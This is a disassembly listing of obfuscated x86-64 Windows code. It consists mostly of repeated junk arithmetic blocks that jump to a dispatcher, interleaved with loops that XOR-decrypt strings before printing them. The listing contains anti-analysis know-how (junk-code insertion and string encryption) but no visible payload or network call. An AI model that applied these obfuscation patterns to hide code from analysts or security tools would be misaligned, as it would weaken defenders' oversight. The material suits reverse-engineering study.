jl 0x14044bce1
push rax
pushf
mov eax, 0x1c60d5cd
pushf
not eax
add eax, 0xb380c417
xor eax, 0xa7cbf098
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xdc5ab873
xor eax, 0xef47ab39
rol eax, 0x43
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x26e5469
pushf
not eax
add eax, 0xdf0261f9
xor eax, 0x95139a4e
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xde671ee1
xor eax, 0xab47be00
rol eax, 0x49
popf
pushf
not eax
add eax, 0xf76ba681
xor eax, 0xc34fcc76
rol eax, 0x60
popf
pushf
not eax
add eax, 0xac835063
xor eax, 0xac86e16e
rol eax, 0xd8
popf
jmp 0x1404492b1
movdqa xmm5, xmmword [0x1403cc610]
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm6, xmmword [0x1403cc630]
movdqa xmm0, xmmword [0x1403cc660]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp - 0x3c]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
push rax
pushf
mov eax, 0x11d1e6a5
pushf
not eax
add eax, 0xe5df19d6
xor eax, 0xc59503eb
rol eax, 0x64
popf
pushf
not eax
add eax, 0xafa3cc99
xor eax, 0x96003ee7
rol eax, 0x11
popf
jmp 0x1404492b1
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x14044bef9
push rax
pushf
mov eax, 0x33a26f8c
pushf
not eax
add eax, 0xd31bd6fe
xor eax, 0x9dd6953f
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xc695dcdc
xor eax, 0xbe1680e1
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xd6efacc4
xor eax, 0xc54b2711
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xe54e0029
xor eax, 0xd57171bf
rol eax, 0x96
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x7f69e45b
pushf
not eax
add eax, 0xbb53e069
xor eax, 0xfda8cef1
rol eax, 0x40
popf
pushf
not eax
add eax, 0xb2bfecc5
xor eax, 0x872b5767
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x9b9e5241
xor eax, 0xae3bb46b
rol eax, 0x13
popf
jmp 0x1404492b1
cmp ecx, 0x27
jge 0x14044bf77
push rax
pushf
mov eax, 0x757732b3
pushf
not eax
add eax, 0xe27695b0
xor eax, 0xcca1e1e7
rol eax, 0x81
popf
pushf
not eax
add eax, 0x8cb40e0e
xor eax, 0xcdf707d6
rol eax, 0xc7
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x4bb5d35c
pushf
not eax
add eax, 0xfc6d3bf8
xor eax, 0x834717e7
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x8ceded9a
xor eax, 0xbf4e699f
rol eax, 0x46
popf
jmp 0x1404492b1
movsxd rax, ecx
lea r8, [rbp - 0x40]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop dword [rax]
push rax
pushf
mov eax, 0x7c31005a
pushf
not eax
add eax, 0x81858df9
xor eax, 0xd0723779
rol eax, 0x80
popf
pushf
not eax
add eax, 0xc275f70f
xor eax, 0xe73e699c
rol eax, 0x90
popf
pushf
not eax
add eax, 0xd65d4143
xor eax, 0x828236d1
rol eax, 0xd
popf
jmp 0x1404492b1
mov eax, 0xd2ffdc7d
pushf
not eax
add eax, 0xa12c659a
xor eax, 0xaf01e7ec
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xa3a57512
xor eax, 0xf25eb11f
rol eax, 0xb5
popf
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x38
xor byte [r8], al
jmp 0x14044c055
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x27
jl 0x14044c093
push rax
pushf
mov eax, 0xd1a7c73a
pushf
not eax
add eax, 0xfbdc9740
xor eax, 0xa57b633e
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xdc3dc0eb
xor eax, 0x9d71c6ad
rol eax, 0x56
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x706df0c8
pushf
not eax
add eax, 0xcfb7253c
xor eax, 0xbb930578
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xefc2e018
xor eax, 0xf1dc8a30
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xa798f16b
xor eax, 0xb5baa21d
rol eax, 0xb9
popf
jmp 0x1404492b1
lea rdx, [rbp - 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14013c9b0
lea rdx, [0x1a1f7d144]
pushf
sub rdx, 0x61e405c4
popf
mov rcx, rax
jmp 0x14044c0ff
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
push rax
pushf
mov eax, 0x830d8c71
pushf
not eax
add eax, 0xc41df938
xor eax, 0xde2b8660
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xdb029e7f
xor eax, 0xa608bd19
rol eax, 0x3d
popf
jmp 0x1404492b1
mov rcx, r14
jmp 0x14044c13c
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14044c1aa
push rax
pushf
mov eax, 0xb7fca31e
pushf
not eax
add eax, 0xdcbbb725
xor eax, 0xadcbb663
rol eax, 0x43
popf
pushf
not eax
add eax, 0x9cea4617
xor eax, 0x9bfb9fe1
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x8fb5f427
xor eax, 0xba34399f
rol eax, 0x71
popf
pushf
not eax
add eax, 0x90cbb5aa
xor eax, 0xadd544c5
rol eax, 0x19
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xbcc1e9df
pushf
not eax
add eax, 0xb8e4422c
xor eax, 0xf1c5fd84
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xced16ead
xor eax, 0xa626154b
rol eax, 0x98
popf
pushf
not eax
add eax, 0xb6a33e55
xor eax, 0x838b4322
rol eax, 0x71
popf
pushf
not eax
add eax, 0xb2813e2a
xor eax, 0xbe08fa68
rol eax, 0xb6
popf
jmp 0x1404492b1
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14044c273
push rax
pushf
mov eax, 0x8bf2e3e
pushf
not eax
add eax, 0xfde0d5b7
xor eax, 0xaebaf62a
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xea5b1458
xor eax, 0xf836f099
rol eax, 0x19
popf
pushf
not eax
add eax, 0xf4f454c8
xor eax, 0x827b552d
rol eax, 0x95
popf
pushf
not eax
add eax, 0xb9703944
xor eax, 0xf656fa51
rol eax, 0x9e
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xc01122ba
pushf
not eax
add eax, 0xe45a5808
xor eax, 0xda8203d2
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x95854975
xor eax, 0xb037627f
rol eax, 0x85
popf
pushf
not eax
add eax, 0xaaca9898
xor eax, 0xca24e7da
rol eax, 0x94
popf
pushf
not eax
add eax, 0x9c89d5e1
xor eax, 0xc79bcbca
rol eax, 0xcf
popf
jmp 0x1404492b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14044c32b
push rax
pushf
mov eax, 0xc2f65460
pushf
not eax
add eax, 0xf0747734
xor eax, 0x92db6b8c
rol eax, 0x61
popf
pushf
not eax
add eax, 0xcc842e78
xor eax, 0xd50605ca
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xa72e9cae
xor eax, 0x9b91f69f
rol eax, 0x46
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xe7f70dfb
pushf
not eax
add eax, 0x91b0eed8
xor eax, 0xd099fafb
rol eax, 0xad
popf
pushf
not eax
add eax, 0xa219b288
xor eax, 0x9ed46763
rol eax, 0x37
popf
jmp 0x1404492b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
push rax
pushf
mov eax, 0x3129a3c8
pushf
not eax
add eax, 0xa8d2a34c
xor eax, 0xce6fb4d2
rol eax, 6
popf
pushf
not eax
add eax, 0xe75d071d
xor eax, 0x99c94162
rol eax, 0x67
popf
pushf
not eax
add eax, 0xf0c9d4d7
xor eax, 0xcf45ee60
rol eax, 0x30
popf
jmp 0x1404492b1
movsd xmm0, qword [str.VHXZ]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [str._.eF]
mov dword [rbp - 0x48], eax
movzx eax, word [0x1403cbbe4]
mov word [rbp - 0x44], ax
movzx eax, byte [0x1403cbbe6]
mov byte [rbp - 0x42], al
xor ecx, ecx
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14044c441
push rax
pushf
mov eax, 0xda1634f5
pushf
not eax
add eax, 0xfe4a516e
xor eax, 0xa1f90167
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x81596e3a
xor eax, 0xa8398e5b
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xe7af5e6c
xor eax, 0xc82197af
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xe280daeb
xor eax, 0xc239e5a8
rol eax, 0x2c
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x3a473650
pushf
not eax
add eax, 0xb3cff6f9
xor eax, 0xc5af7945
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xef5560c9
xor eax, 0xafe14bad
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xcfb7041b
xor eax, 0xd8c190ef
rol eax, 0xcd
popf
jmp 0x1404492b1
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm2, xmmword [0x1403cc610]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
mov eax, dword [0x1403cc660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.VHXZ]
xorps xmm2, xmm0
movd dword [rbp - 0x50], xmm2
movdqa xmm3, xmmword [0x1403cc620]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x4c]
xorps xmm2, xmm1
movd dword [rbp - 0x4c], xmm2
mov ecx, 0x6ed89277
pushf
not ecx
add ecx, 0xc6438d48
xor ecx, 0xcfa6de33
rol ecx, 0x76
popf
pushf
not ecx
add ecx, 0xdd757315
xor ecx, 0x8768d183
rol ecx, 0x60
popf
pushf
not ecx
add ecx, 0xfbe5522c
xor ecx, 0xe44c0bec
rol ecx, 0xbc
popf
pushf
not ecx
add ecx, 0xd5624b80
xor ecx, 0xe2272eeb
rol ecx, 0xfe
popf
push rax
pushf
mov eax, 0xfc94cf0b
pushf
not eax
add eax, 0x8adf7f88
xor eax, 0xf4010e7e
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x89660dbd
xor eax, 0xafd909a4
rol eax, 0x70
popf
pushf
not eax
add eax, 0xb63272fc
xor eax, 0xded1a2ce
rol eax, 0xff
popf
jmp 0x1404492b1
movsxd rax, ecx
lea r8, [rbp - 0x50]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop
push rax
pushf
mov eax, 0x6c09310
pushf
not eax
add eax, 0x8f4b12e7
xor eax, 0xf49e8d33
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xcf1e9b0b
xor eax, 0x9ecacf66
rol eax, 0xe2
popf
jmp 0x1404492b1
mov eax, 0x58669f3d
pushf
not eax
add eax, 0xa108d5f2
xor eax, 0xa6da5bc1
rol eax, 0x93
popf
pushf
not eax
add eax, 0xaa4bb3c0
xor eax, 0x902ec3d4
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x9dee4edc
xor eax, 0xd9960a2f
rol eax, 0xde
popf
pushf
not eax
add eax, 0xaaa6cbf8
xor eax, 0x90473cd9
rol eax, 0x4b
popf
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x38
xor byte [r8], al
jmp 0x14044c6db
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xf
jl 0x14044c73f
push rax
pushf
mov eax, 0x6dcc3ba4
pushf
not eax
add eax, 0xe34e5382
xor eax, 0x877a2264
rol eax, 0x27
popf
pushf
not eax
add eax, 0x847c45b4
xor eax, 0xf5b04ea6
rol eax, 0x95
popf
pushf
not eax
add eax, 0xf28a9d14
xor eax, 0x81a661c2
rol eax, 0x73
popf
pushf
not eax
add eax, 0xe99ba87c
xor eax, 0xd02e27d7
rol eax, 0x7b
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xac179603
pushf
not eax
add eax, 0x8fa769e6
xor eax, 0x80ea268a
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xa4875808
xor eax, 0xe5da49f3
rol eax, 0xfd
popf
jmp 0x1404492b1
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14013c9b0
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
mov rcx, rax
call fcn.14013dbf0
lea rdx, [0x1b275c7c3]
pushf
sub rdx, 0x7261fc43
popf
mov rcx, rax
jmp 0x14044c7b2
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r14, qword [rsp + 0x48]
movabs r12, 0x35a8c5fff7ebc4a5
pushf
not r12
add r12, 0x5f44bdcd
xor r12, 0x675e71bb
rol r12, 0x49
popf
pushf
not r12
add r12, 0x56ab98ee
xor r12, 0x499ffc7c
rol r12, 0xcd
popf
pushf
not r12
add r12, 0x5369d8a8
xor r12, 0x60fad189
rol r12, 0x80
popf
jmp 0x14044b6a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
push rax
pushf
mov eax, 0xe02fce51
pushf
not eax
add eax, 0x86651a30
xor eax, 0xf4b75d8d
rol eax, 0x31
popf
pushf
not eax
add eax, 0xfe5b1d3d
xor eax, 0xa2f6cc56
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xe73f1cf6
xor eax, 0x8c853c6f
rol eax, 5
popf
pushf
not eax
add eax, 0xcb0d8e65
xor eax, 0xdb6c4cde
rol eax, 0xba
popf
jmp 0x1404492b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
push rax
pushf
mov eax, 0xa5915f73
pushf
not eax
add eax, 0xdf3127dd
xor eax, 0xa7296c37
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xd716fc63
xor eax, 0xf2c00486
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xd1016ddd
xor eax, 0xbf8f2f9a
rol eax, 0xd6
popf
jmp 0x1404492b1
call fcn.140432633
push rax
pushf
mov eax, 0x9917a3ec
pushf
not eax
add eax, 0x8cccb8ce
xor eax, 0x88e575e0
rol eax, 0x57
popf
pushf
not eax
add eax, 0xd59d5d59
xor eax, 0xb2c7b70c
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xec7ce6a1
xor eax, 0xea582908
rol eax, 0xd9
popf
jmp 0x1404492b1
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14044ca19
push rax
pushf
mov eax, 0xaf06f800
pushf
not eax
add eax, 0xfbd6a247
xor eax, 0xe993b017
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xf92800a6
xor eax, 0xbc023c5d
rol eax, 0x73
popf
pushf
not eax
add eax, 0xbb1dda57
xor eax, 0xaddf8b56
rol eax, 0xa6
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x662a6b57
pushf
not eax
add eax, 0x81ab72a2
xor eax, 0xf6d0a6e0
rol eax, 0x32
popf
pushf
not eax
add eax, 0xb1142ea2
xor eax, 0xd996fb34
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xf428620e
xor eax, 0x9a70044f
rol eax, 0xea
popf
pushf
not eax
add eax, 0xb23af5a4
xor eax, 0x904453eb
rol eax, 0xe5
popf
jmp 0x1404492b1
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14044cada
push rax
pushf
mov eax, 0xd021f21c
pushf
not eax
add eax, 0x907d9e27
xor eax, 0xc9ee50d4
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xc1c87469
xor eax, 0xdf1b9c37
rol eax, 0x26
popf
pushf
not eax
add eax, 0xb2fa64b4
xor eax, 0xb52a53e4
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xd1c304ba
xor eax, 0xe04a7728
rol eax, 0xb9
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x4246981a
pushf
not eax
add eax, 0xc0a354d9
xor eax, 0xa293ef3b
rol eax, 0x34
popf
pushf
not eax
add eax, 0xe3512d32
xor eax, 0xdeb94a81
rol eax, 0x21
popf
pushf
not eax
add eax, 0xcb9ad2c1
xor eax, 0x8059ffb2
rol eax, 0x39
popf
pushf
not eax
add eax, 0x9ac70638
xor eax, 0xb8e04732
rol eax, 0x4b
popf
jmp 0x1404492b1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14044cb8e
push rax
pushf
mov eax, 0xf9ddb242
pushf
not eax
add eax, 0xd1187b09
xor eax, 0xb5393bcc
rol eax, 0x70
popf
pushf
not eax
add eax, 0xdf7bb390
xor eax, 0xacecfe1d
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x8064f2dc
xor eax, 0xf66ac55f
rol eax, 0x13
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x4c5f5d1f
pushf
not eax
add eax, 0x9d0816cf
xor eax, 0x888ddc87
rol eax, 0x36
popf
pushf
not eax
add eax, 0xa12b56fe
xor eax, 0xa4699617
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x99faaccd
xor eax, 0x9ebb82e9
rol eax, 0x82
popf
jmp 0x1404492b1
mov rcx, r8
push rax
pushf
mov eax, 0x30b987de
pushf
not eax
add eax, 0xd8bb7a38
xor eax, 0xe3d8b2a0
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xf7db54de
xor eax, 0xc3369e5f
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xe8e521d1
xor eax, 0x9d30d25e
rol eax, 0x6c
popf
jmp 0x1404492b1
call fcn.140432633
push rax
pushf
mov eax, 0x445f15e1
pushf
not eax
add eax, 0xa6d02d81
xor eax, 0xfdab3b95
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xb0e4d21e
xor eax, 0x9fd359b9
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xcb5bea8b
xor eax, 0x882f1911
rol eax, 0x59
popf
pushf
not eax
add eax, 0xe46dc264
xor eax, 0xb532dc1b
rol eax, 0x1d
popf
jmp 0x1404492b1
mov al, 0x75
pushf
not al
add al, 0x2d
xor al, 0x68
rol al, 0xe2
popf
pushf
not al
add al, 0xc6
xor al, 0x8e
rol al, 0x94
popf
pushf
not al
add al, 0x53
xor al, 0xef
rol al, 0x98
popf
pushf
not al
add al, 0xbb
xor al, 0x99
rol al, 0xcd
popf
mov byte [rdi], 0
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rdi + 0x10], r15
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.140319880
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
push rax
pushf
mov eax, 0xe27cd4f8
pushf
not eax
add eax, 0x822b6362
xor eax, 0xc65dff92
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xa72f0aa3
xor eax, 0xfa8151a5
rol eax, 0x6f
popf
jmp 0x1404492b1
call fcn.14012a680
nop
push rax
pushf
mov eax, 0xc4b044b4
pushf
not eax
add eax, 0xb1a25936
xor eax, 0x9c9766f6
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xf6cb2af2
xor eax, 0x889871b6
rol eax, 0xe7
popf
jmp 0x1404492b1
call fcn.14012a680
nop
push rax
pushf
mov eax, 0xeac9a114
pushf
not eax
add eax, 0xfd936114
xor eax, 0xa09e766a
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xa12d5b89
xor eax, 0xd8b8cbfb
rol eax, 0x98
popf
pushf
not eax
add eax, 0xc01c8fa3
xor eax, 0xbb81cfd6
rol eax, 0x84
popf
jmp 0x1404492b1
call fcn.14013c2a0
int3